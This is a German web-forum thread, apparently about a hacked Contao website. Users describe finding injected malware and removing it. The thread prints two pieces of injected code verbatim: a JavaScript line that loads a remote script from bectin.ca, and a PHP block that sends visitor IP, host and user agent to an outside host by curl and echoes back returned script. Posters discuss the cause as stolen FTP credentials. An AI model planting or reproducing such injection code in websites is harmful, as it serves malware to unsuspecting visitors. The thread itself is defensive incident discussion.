Akkordeon geht nicht? Hacking?

[ISNC]

Hacked oder nicht Hacked das ist hier die Frage?

Bei Einer Seite meiner Kunden ging das Akkordeon-Menü nicht mehr und Google Chrom meldete Malware bectin.ca

Folgende Meldung bekommt man beim Debugger

/*35fb50*/
document.write("<script src='http://bectin.ca/NhqPmcJy.php?id=131129068' type='text/javascript'></" + "script>");
/*/35fb50*/

Ich habe daraufhin die Datei e7cb2edaa7eb.js aus dem Folder assets/js gelöscht... jetzt geht wieder alles. Ich frag mich nun hatte einer ein ähnliches Problem. Ich würde gerne die eventuelle Sicherheitslücke schließen. Das war ziemlich nervig. Bei Google Chrome stand !Vorsicht Malware Seite nicht besuchen... blöd für Kunden mit Laufkundschaft.

[BugBuster]

Das wirst du da ganz schnell wieder drin haben denke ich.
Das muss aber nicht Contao selbst sein, wodurch der Hack gelang. Näheres hier:
http://de.contaowiki.org/Contao_gehackt

[planepix]

Hallo ISNC,

abklären mit welchen Tools auf die Website zugegriffen wurde.

Filezilla als FTP-Programm ist zwar beliebt, speichert aber alle Zugangsdaten im Klartext. Und das lässt sich dann auch auslesen.
Daher besser WinSCP (PC) oder Transmit (Mac) einsetzen.

[tblumrich]

Hi.

Das Ding hatte ich letztens auch drin... und zwar in so ziemlich allen JS Dateien der ersten und zweiten Ebene der Installation(en).

Ebenso mal alle index.php, page.php, main.php checken... bei mir war da meist irgendwo sowas hier drin:

<?php
#11cdd2#
error_reporting(0); ini_set('display_errors',0); $wp_wkmma7 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_wkmma7) && !preg_match ('/bot/i', $wp_wkmma7))){
$wp_wkmma097="http://"."tag"."modules".".com/modules"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_wkmma7);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wkmma097);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_7wkmma = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_7wkmma,1,3) === 'scr' ){ echo $wp_7wkmma; }
#/11cdd2#
?>

Keine Ahnung ob die Sachen im Zusammenhang stehen, die Dateien wurden aber an unterschiedlichen Tagen kompromitiert.
Contao Check (neu installieren) sollte schonmal einiges an Info liefern.

Kommt aber keinesfalls über Contao, sondern übern FTP.
Kein besonders gutes Gefühl, da ich die Schwachstelle leider nicht genau lokalisieren konnte. Für mich war das unter anderem auch Anlass die letzten Reste von Filezilla vom Rechner zu fegen.

Gruß
Thomas